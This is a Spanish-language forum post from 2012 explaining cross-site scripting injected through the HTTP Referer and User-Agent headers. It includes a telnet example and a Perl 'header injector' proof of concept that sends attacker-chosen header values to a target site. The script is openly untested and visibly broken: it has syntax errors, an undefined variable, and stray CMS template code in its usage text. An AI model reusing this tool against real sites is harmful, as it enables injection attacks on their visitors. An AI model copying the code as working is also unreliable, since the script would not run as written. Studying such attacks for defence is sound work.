Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Pr0ph3t en Junio 23, 2012, 04:24:40 PM

Título: Inyección XSS en las cabeceras
Publicado por: Pr0ph3t en Junio 23, 2012, 04:24:40 PM
La fundamentacion de este tipo de errores XSS se encuentra en el texto "Header Based Exploitation" de Zenomorph-CGISecurity, cuyo enlace puede
encontrarse al final de este articulo, en el apartado de enlaces y recursos.

Al establecerse una comunicación HTTP, como en todas, existe un intercambio de datos. El cliente le dice al servidor que quiere que se le muestre página, que la interfaz de su navegador esta en castellano, que su navegador es tal, que acepta x tipos de archivo, y que proviene de x sitio, por ejemplo. Logicamente la mayor parte de ese intercambio se produce automaticamente entre el navegador y el servidor, teniendo el usuario unicamente, la posibilidad de decidir que es lo que quiere del servidor (que se le muestre x pagina).

Muchas páginas usan algunos datos de la sesión HTTP del usuario para mostrarlos como sistemas de registro, estadisticas, o un simple mensaje tipo "Su navegador es: (direccion)" o "Usted proviene de: (referer)" entre muchas otras cosas.

El problema se plantea si un usuario con malas ideas inicia una sesion con el servidor, siendo el mismo el que intercambie los datos con el servidor, e introduciendo los datos que a el le de la gana (HTML, JS...).

# telnet xxx 80

Trying xxx...
Connected to xxx.

Escape character is '^]'.

GET index.html HTTP/1.0
Referer:
User-agent:

<...>

Aqui os pongo un simple codigo ilustrativo cuya funcion es inyecta los datos de USER-AGENT y HTTP-REFERER especificados por el usuario desde la linea de comandos. La labor de ver si la pagina no filtra debera ser manual.

header_xss.pl

#!/usr/bin/perl -w

# XSS-HEADER injector

# Prueba de concepto sin estar probada :)
# taseh'03

use IO::Socket;

my $host = @argv[0];
my $inject = @argv[1];
my $inj3ct = @argv[2];
my $gett = "/"; # cambiar por lo que queremos que se reclame... :)

if (@argv < 2){

print "\n\n{jumi [*3] [http://www.govannom.org/seguridad/web_cgi/xss_taseh.txt]} - XSS-Header injector -prueba de concepto-";
print "\nUso: {jumi [*3] [http://www.govannom.org/seguridad/web_cgi/xss_taseh.txt]}   ";
exit;

}

print "Conectando con $host...";
my $socket = IO::Socket::INET->new(
Proto => 'tcp',
PeerAddr => $host,
PeerPort => "80", or die"\n\nNo puedo conectar con $server";
                   # ^^ cambiar puerto si es distinto :)
}

$socket->autoflush(1);
print $socket "GET $gett HTTP/1.0\n";
print $socket "Host: $host\n";
print $socket "Referer: $inject\n"; # inyecta referer falseado
print $socket "User-Agent: $inj3ct\n\n"; # inyecta cli.id falseado

print "\nInyeccion finalizada :).\n";

close $socket;

exit;


Bien, para comprobar si la cadena que queriamos inyectar ha sido realmente inyectada en la pagina de salida basta con visitarla o bajarnosla y hacer un cat pagina.html | grep  y ver si esta o simplemente visualizarla y ver el efecto de nuestro codigo inyectado.

Fuente Govannom.org